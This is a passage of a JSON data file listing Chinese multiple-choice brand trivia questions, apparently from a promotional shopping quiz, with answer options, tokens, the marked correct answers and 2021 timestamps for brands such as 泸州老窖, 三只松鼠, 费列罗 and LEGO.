16:47:38","status":"1"},{"questionId":"6101434114","questionIndex":"5","questionStem":"以下哪个不是合生元派星系列奶粉的特点?","options":"[{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jGUrarR2O8lF3tTXWQ\",\"optionDesc\":\"口味浓郁\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jymN7c3oybMW18_f1A\",\"optionDesc\":\"比乳铁蛋白珍稀\"},{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jp48AC24Pgs-K90w3g\",\"optionDesc\":\"亲和结构脂\"}]","questionToken":"LcUSx0BQiz_kq4h1iDRs2bMRjlYsEbJSj6bGYL489uomctLdY3RoG7pardor83ZCidp6u9TILuWZSfiabKpgg1fT4lv4Hg","correct":"{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jGUrarR2O8lF3tTXWQ\",\"optionDesc\":\"口味浓郁\\t\\t\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6301442836","questionIndex":"2","questionStem":"好奇皇家御裤用的纤维有多细?","options":"[{\"optionId\":\"LccSx0BXjTZeHK00TNJcEIXdyQFUQrtDuYTe\",\"optionDesc\":\"1.2mm\"},{\"optionId\":\"LccSx0BXjTZeHK00TNJcEX5Tbq04AAHcIM6f\",\"optionDesc\":\"0.12mm\"},{\"optionId\":\"LccSx0BXjTZeHK00TNJcEkkKCr4H0P56TKai\",\"optionDesc\":\"0.012mm\\t\\t\"}]","questionToken":"LccSx0BXjTZeHK1lX5pHQL7c0necKwm-UjHEgFejpvD_DGrMYi5_S_8XoHclXpoSsDpLA6QsVkvgHey5imC4-aQOFdFdNw","correct":"{\"optionId\":\"LccSx0BXjTZeHK00TNJcEkkKCr4H0P56TKai\",\"optionDesc\":\"0.012mm\\t\\t\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"6301442937","questionIndex":"5","questionStem":"泸州老窖国宝窖池群距今多少年?","options":"[{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6-7uAShsMo19lxM\",\"optionDesc\":\"448年\\t\\t\"},{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6PHyrwd0_PXvzaY\",\"optionDesc\":\"500年\"},{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6WnFSn0a7DYOVPI\",\"optionDesc\":\"408年\"}]","questionToken":"LccSx0BXjTch9pCBwnExvvpoGTInNORxV-oDd1FfD3u8eEZ6TdLDGBrHJ9lQAc_b4dRi5lB9bDWY6ZiV8H512zWJ-vis9A","correct":"{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6-7uAShsMo19lxM\",\"optionDesc\":\"448年\\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"6301442938","questionIndex":"5","questionStem":"国窖1573的酿酒原料有哪些?","options":"[{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq6YaHsDG5DkIkmHRmBA\",\"optionDesc\":\"红高粱 大米 水\"},{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq60fpeeDSEDVKlofaHQ\",\"optionDesc\":\"糯红高粱 小麦 水\\t\"},{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq6J7U-_CmFu9dOrzciQ\",\"optionDesc\":\"糯红高粱 大豆 水\\t\"}]","questionToken":"LccSx0BXjTch-ZCBwnExuV0YiRxaA78FP-b30MuSqXQ3NcAFGsoNQ0cn8fGUcPvaNt3zUyJBebIMvPux0wyMzV3DswdZQw","correct":"{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq60fpeeDSEDVKlofaHQ\",\"optionDesc\":\"糯红高粱 小麦 水\\t\"}","create_time":"27/1/2021 04:51:53","update_time":"27/1/2021 04:51:53","status":"1"},{"questionId":"6301442939","questionIndex":"2","questionStem":"泸州老窖哪款酒前身获得了万国博览会金奖?","options":"[{\"optionId\":\"LccSx0BXjTch-JDX0Tkq61UKhzGjUeRICPE\",\"optionDesc\":\"特曲\\t\\t\"},{\"optionId\":\"LccSx0BXjTch-JDX0Tkq6QBv61kE9FItUDQ\",\"optionDesc\":\"二曲\"},{\"optionId\":\"LccSx0BXjTch-JDX0Tkq6LZ_5rj6DUT6Tsk\",\"optionDesc\":\"头曲\"}]","questionToken":"LccSx0BXjTch-JCGwnExviH8NWg7Ztb4ypqis0yeqsVmcqJf1ORFXa8sajz02ylNxLUgFLv1T7PQmlQnHMYL_IC7HR2FBw","correct":"{\"optionId\":\"LccSx0BXjTch-JDX0Tkq61UKhzGjUeRICPE\",\"optionDesc\":\"特曲\\t\\t\"}","create_time":"27/1/2021 04:49:13","update_time":"27/1/2021 04:49:13","status":"1"},{"questionId":"6301442959","questionIndex":"4","questionStem":"当前泸州老窖特曲已经更新到第几代?","options":"[{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6wcXfJx_WK1ohA8\",\"optionDesc\":\"第十代\\t\\t\"},{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6Lgpdut-fDZSqvM\",\"optionDesc\":\"第九代\"},{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6YzgdPnEvW6fh08\",\"optionDesc\":\"第十一代\"}]","questionToken":"LccSx0BXjTcn-JCAwnExvgr09vjfkxYHCdw7V_nVURE_WrArMy8Jsna35sJurjs9ImvlcBdwbziIDD7QXyb1a4d01HXwEQ","correct":"{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6wcXfJx_WK1ohA8\",\"optionDesc\":\"第十代\\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"6301442960","questionIndex":"4","questionStem":"国窖1573的香型是哪种?","options":"[{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6ACSvHot_XcK3YQ_zw\",\"optionDesc\":\"清香\\t\"},{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6Q-QvqYqt-V1YJpohg\",\"optionDesc\":\"酱香\"},{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6wAp9lpnN342935FXA\",\"optionDesc\":\"浓香\\t\"}]","questionToken":"LccSx0BXjTck8ZCAwnExudWRFvQuCaqzbw5Z3WxEwI-_R9L3NxhmjeHPM33WQO41MHzbduAYkQNNJaJXQ_GOXErgUiY2ag","correct":"{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6wAp9lpnN342935FXA\",\"optionDesc\":\"浓香\\t\"}","create_time":"27/1/2021 04:39:48","update_time":"27/1/2021 04:39:48","status":"1"},{"questionId":"6301442961","questionIndex":"1","questionStem":"伊利金领冠是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6BLc7mFwr9wqx_nBWQ\",\"optionDesc\":\"新西兰\"},{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6ymrVXeaAM0dC3xLDg\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6SLay6O-qX0bAhJWYw\",\"optionDesc\":\"法国\"}]","questionToken":"LccSx0BXjTck8JCFwnExuf0OUZy_1Z7GWXqobDNxroAtKwn4vClzwOhAqicYP60Jdz3waOmeK0rmlUbq-BG7_6Fh-aSj_Q","correct":"{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6ymrVXeaAM0dC3xLDg\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:35:44","update_time":"27/1/2021 04:35:44","status":"1"},{"questionId":"6301442962","questionIndex":"1","questionStem":"伊利金领冠有几大中国发明专利?","options":"[{\"optionId\":\"LccSx0BXjTck85DX0Tkq64WSum2emlc8tOAV\",\"optionDesc\":\"5\"},{\"optionId\":\"LccSx0BXjTck85DX0Tkq6TFUcx0iA080eVsh\",\"optionDesc\":\"2\"},{\"optionId\":\"LccSx0BXjTck85DX0Tkq6A6yQyqKQ2XnZkFP\",\"optionDesc\":\"1\"}]","questionToken":"LccSx0BXjTck85CFwnExuZsURzv-1rvfai2m5FbpXsDeikb7nvEEkEuv_ruLtyjHgBkqpwmDClN86QtX5UB8vOAszSB35Q","correct":"{\"optionId\":\"LccSx0BXjTck85DX0Tkq64WSum2emlc8tOAV\",\"optionDesc\":\"5\"}","create_time":"27/1/2021 04:36:07","update_time":"27/1/2021 04:36:07","status":"1"},{"questionId":"6301442963","questionIndex":"4","questionStem":"“六维易吸收”指的是金领冠旗下哪款产品?","options":"[{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6Qnb7trCp-SFkWoYUg\",\"optionDesc\":\"菁护\"},{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6CYqA94AAEx9Kb8yRQ\",\"optionDesc\":\"睿护\"},{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6xYdIPHtTWSpFv4RWg\",\"optionDesc\":\"珍护\\t\\t\"}]","questionToken":"LccSx0BXjTck8pCAwnExvpMP_uaOv6o9WyssW9AZRzOXX3DbiIV02kXghlpvIBYLNxUTHH8Z06wVWWr86cLLWLVxpiXlSg","correct":"{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6xYdIPHtTWSpFv4RWg\",\"optionDesc\":\"珍护\\t\\t\"}","create_time":"27/1/2021 04:32:58","update_time":"27/1/2021 04:32:58","status":"1"},{"questionId":"6301442964","questionIndex":"1","questionStem":"金领冠中有欧双重有机认证的奶粉产品名是?","options":"[{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq62xx2R5oLnbCoA\",\"optionDesc\":\"塞纳牧\\t\\t\"},{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq6GhKUI2RJ-4KZg\",\"optionDesc\":\"珍护\"},{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq6YFxOvHOsfHgkg\",\"optionDesc\":\"睿护\"}]","questionToken":"LccSx0BXjTck9ZCFwnExuRntVgQI-F9IUA_tGRr1WaqVNvKv0QtPrp6ygsJmCK5Ps_5iAYZJkh6Zj5juLn_ufirx8Tuvfg","correct":"{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq62xx2R5oLnbCoA\",\"optionDesc\":\"塞纳牧\\t\\t\"}","create_time":"27/1/2021 04:41:14","update_time":"27/1/2021 04:41:14","status":"1"},{"questionId":"6301442965","questionIndex":"2","questionStem":"以下哪个不属于金领冠的业务范围?","options":"[{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6-5eZRGWzGXJH4uQZw\",\"optionDesc\":\"牛奶\\t\\t\"},{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6HT9Oz0R4Hj-wK3c_A\",\"optionDesc\":\"草饲奶粉\"},{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6R24KJNg2aBeFn8KJA\",\"optionDesc\":\"羊奶粉\"}]","questionToken":"LccSx0BXjTck9JCGwnExvrqcKFOGVLPWqLowAcpFGUsFo-eDe0jah2BIgr3lxl7kIGIMRd5HVhqPWAWQIiSwc_fTA07Iqw","correct":"{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6-5eZRGWzGXJH4uQZw\",\"optionDesc\":\"牛奶\\t\\t\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"6301442966","questionIndex":"1","questionStem":"三只松鼠集团总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjTck95DX0Tkq6ytyschrcjcrl1H6vQ\",\"optionDesc\":\"安徽芜湖\\t\"},{\"optionId\":\"LccSx0BXjTck95DX0Tkq6fn0Qbb9yHE8_enb-w\",\"optionDesc\":\"浙江杭州\"},{\"optionId\":\"LccSx0BXjTck95DX0Tkq6NRaYtO-YZeC48GvPg\",\"optionDesc\":\"广东深圳\"}]","questionToken":"LccSx0BXjTck95CFwnExvvrN_FdnGCWoUO8AojubzFGhDSo_X7JxiGAfSIaKMuR_abkIJf-nh2k3uIe3geuRt9ZO1sM6gQ","correct":"{\"optionId\":\"LccSx0BXjTck95DX0Tkq6ytyschrcjcrl1H6vQ\",\"optionDesc\":\"安徽芜湖\\t\"}","create_time":"27/1/2021 04:48:38","update_time":"27/1/2021 04:48:38","status":"1"},{"questionId":"6301442967","questionIndex":"1","questionStem":"三只松鼠成立于哪一年?","options":"[{\"optionId\":\"LccSx0BXjTck9pDX0Tkq6QHqOQEXDcMu-pu_\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LccSx0BXjTck9pDX0Tkq68Y-W3wEYpHmzB_C\",\"optionDesc\":\"2012年\\t\"},{\"optionId\":\"LccSx0BXjTck9pDX0Tkq6Bpxeymr1tBQ7Z3o\",\"optionDesc\":\"2008年\\t\"}]","questionToken":"LccSx0BXjTck9pCFwnExvmJlqDEL4TLDyxQ8NpiYpdveJoj7HX2-HmWGgdapQ5_0RyiFo1w1dHMdNhkFzBjEYCb4J9LkyQ","correct":"{\"optionId\":\"LccSx0BXjTck9pDX0Tkq68Y-W3wEYpHmzB_C\",\"optionDesc\":\"2012年\\t\"}","create_time":"27/1/2021 04:50:38","update_time":"27/1/2021 04:50:38","status":"1"},{"questionId":"6301442968","questionIndex":"5","questionStem":"三只松鼠哪一年上市的?","options":"[{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6X-beUWWErMegvxn\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6HQNt37BJMF0yIzM\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6x3jzvr0-GVpLovm\",\"optionDesc\":\"2019年\\t\\t\"}]","questionToken":"LccSx0BXjTck-ZCBwnExvsX_PY6QCXpz3DV6ibIJ2dLR-7XuSFt0ECdo9k3GheLhs9_hRJODTfEctt3Mx018ef12Nc2koQ","correct":"{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6x3jzvr0-GVpLovm\",\"optionDesc\":\"2019年\\t\\t\"}","create_time":"27/1/2021 04:41:51","update_time":"27/1/2021 04:41:51","status":"1"},{"questionId":"6301443010","questionIndex":"3","questionStem":"三只松鼠的线下门店统称什么?","options":"[{\"optionId\":\"LccSx0BXjD4zDD2Ytln6X1Da-ZLv98gkuuTN\",\"optionDesc\":\"松鼠超市\"},{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XgaRsIQ5-mYlvHt5\",\"optionDesc\":\"松鼠小卖部\"},{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XIEG0eg26vgli0Ls\",\"optionDesc\":\"松鼠投食店\\t\\t\"}]","questionToken":"LccSx0BXjD4zDD3IpRHhDmi7qduTEevIjL43wDbaxMmnI2P91eW5p_VMPSEqnDKxDh3_tN8BQnot-hS7i2r7PCpC7C2Y4w","correct":"{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XIEG0eg26vgli0Ls\",\"optionDesc\":\"松鼠投食店\\t\\t\"}","create_time":"27/1/2021 04:44:46","update_time":"27/1/2021 04:44:46","status":"1"},{"questionId":"6301443011","questionIndex":"2","questionStem":"哪一个不是三只松鼠的子品牌?","options":"[{\"optionId\":\"LccSx0BXjD4zDT2Ytln6XD_f4LSxWEwJwKV6\",\"optionDesc\":\"两只松鼠\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zDT2Ytln6X_n8KbJy08WD8M9O\",\"optionDesc\":\"小鹿蓝蓝\"},{\"optionId\":\"LccSx0BXjD4zDT2Ytln6Xq3GtlKr8e4fxxwh\",\"optionDesc\":\"铁功基\"}]","questionToken":"LccSx0BXjD4zDT3JpRHhDhJgNTF7e7ILQSTBzIi-Z4eQ-tVKPjSasDNSUD7TXOsFkERg5_exFc7W3BC1gGvg7E3xUe4-Qw","correct":"{\"optionId\":\"LccSx0BXjD4zDT2Ytln6XD_f4LSxWEwJwKV6\",\"optionDesc\":\"两只松鼠\\t\\t\"}","create_time":"27/1/2021 04:49:15","update_time":"27/1/2021 04:49:15","status":"1"},{"questionId":"6301443012","questionIndex":"3","questionStem":"费列罗集团总部坐落于?","options":"[{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XumngCFnmq2A-cH2Mg\",\"optionDesc\":\"英国\"},{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XCXxTGz2p8_g6-9TjQ\",\"optionDesc\":\"意大利\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zDj2Ytln6X4S3LoVAlh7_Q3V2rg\",\"optionDesc\":\"德国\"}]","questionToken":"LccSx0BXjD4zDj3IpRHhCb8JOcHRut6sx2VE-sOofWR9ogXZU9cxEaPGXTXNlrBCIDpWgJsUNdrSfOcKq8zTruUPDQPDfQ","correct":"{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XCXxTGz2p8_g6-9TjQ\",\"optionDesc\":\"意大利\\t\\t\"}","create_time":"27/1/2021 04:44:58","update_time":"27/1/2021 04:44:58","status":"1"},{"questionId":"6301443013","questionIndex":"3","questionStem":"费列罗主要卖什么产品","options":"[{\"optionId\":\"LccSx0BXjD4zDz2Ytln6Xvv2pxEamz9msME\",\"optionDesc\":\"牛奶\"},{\"optionId\":\"LccSx0BXjD4zDz2Ytln6X_EUmLvDEO_mqRA\",\"optionDesc\":\"面包\\t\"},{\"optionId\":\"LccSx0BXjD4zDz2Ytln6XKcRf9rI_zwQ52Y\",\"optionDesc\":\"巧克力\\t\"}]","questionToken":"LccSx0BXjD4zDz3IpRHhDjY2P-SWt9rBIftEOCMcNxxqebP-vMiYpIEl-kncN9wYs3whjo98caOoPLkFQIZmG_3NsXoBIg","correct":"{\"optionId\":\"LccSx0BXjD4zDz2Ytln6XKcRf9rI_zwQ52Y\",\"optionDesc\":\"巧克力\\t\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 04:48:15","status":"1"},{"questionId":"6301443014","questionIndex":"5","questionStem":"费列罗logo颜色是?","options":"[{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XzKcRtGulIg3u0g\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XHVLca1rZ6pPME8\",\"optionDesc\":\"咖啡色\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XptucsPU8OOSJdI\",\"optionDesc\":\"黄色\"}]","questionToken":"LccSx0BXjD4zCD3OpRHhDsysLSGiAUx-LbmMNDuhWoYNIswfdY-gfhqVxxgCuSSRpkBAMTuB-8KF1XGWoVpYFoVg-nOAnw","correct":"{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XHVLca1rZ6pPME8\",\"optionDesc\":\"咖啡色\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443015","questionIndex":"1","questionStem":"以下哪个属于费列罗业务?","options":"[{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XEbPydouFE_jiqcS\",\"optionDesc\":\"食品\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XihppXmISq-FSiHw\",\"optionDesc\":\"婴儿护理\"},{\"optionId\":\"LccSx0BXjD4zCT2Ytln6X0OMhd051FuwAz6r\",\"optionDesc\":\"生活电器\"}]","questionToken":"LccSx0BXjD4zCT3KpRHhCeZrz4gg27Mr6mHDHgnmjzVsIjhqg4fzF3xpLF776HmK4p1eMTRuV4FaF1xOkyxEAq24nRxRmA","correct":"{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XEbPydouFE_jiqcS\",\"optionDesc\":\"食品\\t\\t\"}","create_time":"27/1/2021 04:38:22","update_time":"27/1/2021 04:38:22","status":"1"},{"questionId":"6301443016","questionIndex":"1","questionStem":"哪一个不是费列罗集团的子品牌?","options":"[{\"optionId\":\"LccSx0BXjD4zCj2Ytln6Xkaj439a3NFiIdnyJw\",\"optionDesc\":\"健达\"},{\"optionId\":\"LccSx0BXjD4zCj2Ytln6Xw0llk2epRA-30QFyQ\",\"optionDesc\":\"费列罗\"},{\"optionId\":\"LccSx0BXjD4zCj2Ytln6XNzxSa4d-smT3RRDwA\",\"optionDesc\":\"碧浪\\t\\t\"}]","questionToken":"LccSx0BXjD4zCj3KpRHhDpQJ_r2M7aALp6mrBsdOnbMXq9n0vNWErWtTB1umVOTNHhJ09jpJzN-HaqKj0qkXNHYKybW54A","correct":"{\"optionId\":\"LccSx0BXjD4zCj2Ytln6XNzxSa4d-smT3RRDwA\",\"optionDesc\":\"碧浪\\t\\t\"}","create_time":"27/1/2021 04:39:39","update_time":"27/1/2021 04:39:39","status":"1"},{"questionId":"6301443017","questionIndex":"2","questionStem":"LEGO在丹麦语中的意思是? ","options":"[{\"optionId\":\"LccSx0BXjD4zCz2Ytln6Xzryr7Jne0qiXUk\",\"optionDesc\":\"自己一个人玩\"},{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XocBGsf4rSxRW4w\",\"optionDesc\":\"宅在家里玩\"},{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XMEDQsEArA7Yj8M\",\"optionDesc\":\"玩得快乐\\t\\t\"}]","questionToken":"LccSx0BXjD4zCz3JpRHhCbECSQ2Y1KWcEIgIX2e2_CRomdqcHCaGswudU-IH6fHXnGD9quqb7nRRowqhOuMgyxVEbgALGg","correct":"{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XMEDQsEArA7Yj8M\",\"optionDesc\":\"玩得快乐\\t\\t\"}","create_time":"27/1/2021 04:46:15","update_time":"27/1/2021 04:46:15","status":"1"},{"questionId":"6301443018","questionIndex":"5","questionStem":"哪些英雄在乐高城市里集结?","options":"[{\"optionId\":\"LccSx0BXjD4zBD2Ytln6Xqp_15WlaXgZ8zLIbA\",\"optionDesc\":\"奥特曼军团\"},{\"optionId\":\"LccSx0BXjD4zBD2Ytln6X55VwcC1RSKyuXxx5g\",\"optionDesc\":\"美少女战士\"},{\"optionId\":\"LccSx0BXjD4zBD2Ytln6XDVot_FQmyG5i7eAww\",\"optionDesc\":\"空中特警和消防员\\t\\t\"}]","questionToken":"LccSx0BXjD4zBD3OpRHhDrVQDX2soZ5kTMqmbi1LsqO1Z9zOPZsaQGeLtgosrcaPy3D7jWvpSadcRWLUoW3MRHlUR7VZPA","correct":"{\"optionId\":\"LccSx0BXjD4zBD2Ytln6XDVot_FQmyG5i7eAww\",\"optionDesc\":\"空中特警和消防员\\t\\t\"}","create_time":"27/1/2021 03:37:25","update_time":"27/1/2021 03:37:25","status":"1"},{"questionId":"6301443019","questionIndex":"4","questionStem":"谁是乐高幻影忍者界的一代宗师?","options":"[{\"optionId\":\"LccSx0BXjD4zBT2Ytln6X8xtJ01lyQLfzNnaiA\",\"optionDesc\":\"王小聪\"},{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XoCYI53IuAiwWNXKwA\",\"optionDesc\":\"易小星\"},{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XPODf9hgfNSnhOgN2Q\",\"optionDesc\":\"吴大师\\t\\t\"}]","questionToken":"LccSx0BXjD4zBT3PpRHhDqwH9vcgQz7t4-dNj7tkfeahvvw_6SigL8epiiZcrG4WWb4QMjTYS2jvipOtTO_q-ylTDbeKLw","correct":"{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XPODf9hgfNSnhOgN2Q\",\"optionDesc\":\"吴大师\\t\\t\"}","create_time":"27/1/2021 04:49:24","update_time":"27/1/2021 04:49:24","status":"1"},{"questionId":"6301443020","questionIndex":"3","questionStem":"悟空小侠系列是致敬什么中国名著?","options":"[{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XHld6CpEIauugQWg\",\"optionDesc\":\"《西游记》\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XscF0fGcQkQb68N9\",\"optionDesc\":\"《水浒传》\"},{\"optionId\":\"LccSx0BXjD4wDD2Ytln6X-DRYytNU1txssYt\",\"optionDesc\":\"《红楼梦》\"}]","questionToken":"LccSx0BXjD4wDD3IpRHhDvB6-F6SzvQAQVgOffrQ1vf0krExijscz4-JL58-pUbsY-Fe5wFKB2PBhvbKJwQ7n0BJ5GMZUA","correct":"{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XHld6CpEIauugQWg\",\"optionDesc\":\"《西游记》\\t\\t\"}","create_time":"27/1/2021 04:47:12","update_time":"27/1/2021 04:47:12","status":"1"},{"questionId":"6301443021","questionIndex":"5","questionStem":"乐高好朋友系列中安德里亚擅长什么?","options":"[{\"optionId\":\"LccSx0BXjD4wDT2Ytln6Xwt32Z-oVN6w1AU\",\"optionDesc\":\"科学\"},{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XLjiKr6XIuO8lMo\",\"optionDesc\":\"音乐\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XmhPuPftToe32fk\",\"optionDesc\":\"运动\"}]","questionToken":"LccSx0BXjD4wDT3OpRHhCVaY2q-IYGGe213YNzpooSy9za29KFc0UhHoYsoKTekZm4NhoGYWlvftuKkEY8WNdmsa0L4_-w","correct":"{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XLjiKr6XIuO8lMo\",\"optionDesc\":\"音乐\\t\\t\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6301443022","questionIndex":"4","questionStem":"董酒是什么香型?","options":"[{\"optionId\":\"LccSx0BXjD4wDj2Ytln6X-bz5fVcwa7Q6Mgksg\",\"optionDesc\":\"浓香\"},{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XKKtAHeRWbg_Qv_8MQ\",\"optionDesc\":\"董香型\"},{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XgxbNmciJM27yboHdg\",\"optionDesc\":\"酱香\"}]","questionToken":"LccSx0BXjD4wDj3PpRHhDnJVBcSyw3r6lT76bEboZm50R9FOLTobyaw2oGU-3qfHjTWQoTDyQH5YHU7YYaRV7N-ecV8PhA","correct":"{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XKKtAHeRWbg_Qv_8MQ\",\"optionDesc\":\"董香型\"}","create_time":"27/1/2021 04:48:53","update_time":"27/1/2021 04:48:53","status":"1"},{"questionId":"6301443023","questionIndex":"1","questionStem":"董酒产自哪里?","options":"[{\"optionId\":\"LccSx0BXjD4wDz2Ytln6XLeYJVbGBSry4F46jg\",\"optionDesc\":\"贵州\\t\"},{\"optionId\":\"LccSx0BXjD4wDz2Ytln6X77C4uDkhVvVnjLEuw\",\"optionDesc\":\"四川\\t\"},{\"optionId\":\"LccSx0BXjD4wDz2Ytln6Xg7dc5APqOoamNNjmQ\",\"optionDesc\":\"江苏\"}]","questionToken":"LccSx0BXjD4wDz3KpRHhCQlKWrVHdOt1ShPDSDKoNCF7jSo5-xas8-shVF_wk-GyASNKxfWf_H0XE2zqy9jPs1hdWTfPFw","correct":"{\"optionId\":\"LccSx0BXjD4wDz2Ytln6XLeYJVbGBSry4F46jg\",\"optionDesc\":\"贵州\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"6301443024","questionIndex":"4","questionStem":"拉菲葡萄酒产自哪个国家?","options":"[{\"optionId\":\"LccSx0BXjD4wCD2Ytln6Xy5l4-8nv1-N0dfq\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XNmfjuZ8KYEON0lq\",\"optionDesc\":\"法国\"},{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XjoHTn-4J5zAQSqr\",\"optionDesc\":\"英国\"}]","questionToken":"LccSx0BXjD4wCD3PpRHhDj1-0bk4tGVuJAI3T2F-6vz50Kt_-_lsU3PlK-rECu3Z3wE46yzzrIHWUGzOduadGrym72mYYQ","correct":"{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XNmfjuZ8KYEON0lq\",\"optionDesc\":\"法国\"}","create_time":"27/1/2021 04:37:26","update_time":"27/1/2021 04:37:26","status":"1"},{"questionId":"6301443025","questionIndex":"5","questionStem":"拉菲罗斯柴尔德集团哪一年购买的拉菲古堡?","options":"[{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XuksL9JC2XOuAa8\",\"optionDesc\":\"1855年\"},{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XI-GRJrnhxBoW7E\",\"optionDesc\":\"1868年\"},{\"optionId\":\"LccSx0BXjD4wCT2Ytln6X3xxIk30xzxYLUU\",\"optionDesc\":\"1867年\"}]","questionToken":"LccSx0BXjD4wCT3OpRHhCTOYNTPrv9IN7V5m8AWye_ii_j14LJjG45c_Piu5mtoonNL54A3lBMRlr1AvatPxOqLQam2V-Q","correct":"{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XI-GRJrnhxBoW7E\",\"optionDesc\":\"1868年\"}","create_time":"27/1/2021 04:42:53","update_time":"27/1/2021 04:42:53","status":"1"},{"questionId":"6301443026","questionIndex":"2","questionStem":"拉菲入门级标准款红酒是哪一款?","options":"[{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XlUubDt-DlkyXsJO-g\",\"optionDesc\":\"拉菲波尔多\"},{\"optionId\":\"LccSx0BXjD4wCj2Ytln6X0hjx2GYDLNvOkqS6g\",\"optionDesc\":\"拉菲传奇\"},{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XM-NJacDpg72kJxZsw\",\"optionDesc\":\"拉菲传奇波尔多\"}]","questionToken":"LccSx0BXjD4wCj3JpRHhCUyeoMwAqElHHMfzIqqbUm5f2b-_KJr1s3orIXwqYkNIeqmv2WPOTyrbgLXV52kmM8ojp4cxbg","correct":"{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XM-NJacDpg72kJxZsw\",\"optionDesc\":\"拉菲传奇波尔多\"}","create_time":"27/1/2021 04:36:53","update_time":"27/1/2021 